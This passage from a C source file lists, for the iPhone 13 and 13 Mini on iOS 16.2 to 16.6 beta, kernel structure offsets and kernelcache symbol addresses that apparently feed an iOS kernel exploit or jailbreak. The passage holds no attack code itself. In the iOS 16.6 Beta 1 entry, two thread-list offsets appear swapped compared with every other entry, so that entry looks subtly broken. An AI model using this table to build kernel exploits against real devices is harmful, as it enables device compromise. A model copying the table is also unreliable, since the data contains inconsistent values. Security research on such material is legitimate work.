.kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone14,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a471208,\n        .kernelcache__gPhysBase = 0xfffffff00793c100,\n        .kernelcache__gPhysSize = 0xfffffff00793c100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00793a2d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4af520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efd480,\n        .kernelcache__ptov_table = 0xfffffff0078ef180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ae990,\n        .kernelcache__vm_pages = 0xfffffff0078ebec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ee130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ae988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f49fe8,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone14,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x380 - 0x18,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x80 - 0x28,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,//good\n        .kernelcache__cdevsw = 0xfffffff00a519a30, //good\n        .kernelcache__gPhysBase = 0xfffffff0079502a8, //good\n        .kernelcache__gPhysSize = 0xfffffff0079502b0, //good\n        .kernelcache__gVirtBase = 0xfffffff00794e460, //good\n        .kernelcache__perfmon_devices = 0xfffffff00a559550, //good\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1db9c, //good\n        .kernelcache__ptov_table = 0xfffffff0079039c0, //good\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a558910, //good\n        .kernelcache__vm_pages = 0xfffffff007900110, //good\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902970, //good\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a558908, //good\n        .kernelcache__vn_kqfilter = 0xfffffff007f6a0b8, //good\n    },\n // End iPhone 13 //\n // Start iPhone 13 Mini //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone14,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a379190,\n        .kernelcache__gPhysBase = 0xfffffff0078580c8,\n        .kernelcache__gPhysSize = 0xfffffff0078580c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078562a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3b43b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8fa8,\n        .kernelcache__ptov_table = 0xfffffff00780b370,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3b3800,\n        .kernelcache__vm_pages = 0xfffffff007808098,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a330,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3b37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f28fd0,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone14,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381190,\n        .kernelcache__gPhysBase = 0xfffffff0078581b0,\n        .kernelcache__gPhysSize = 0xfffffff0078581b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007856390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed905c,\n        .kernelcache__ptov_table = 0xfffffff00780b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800,\n        .kernelcache__vm_pages = 0xfffffff0078080d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29074,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone14,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381190,\n        .kernelcache__gPhysBase = 0xfffffff0078581b0,\n        .kernelcache__gPhysSize = 0xfffffff0078581b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007856390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed905c,\n        .kernelcache__ptov_table = 0xfffffff00780b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800,\n        .kernelcache__vm_pages = 0xfffffff0078080d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29074,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone14,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone14,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone14,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 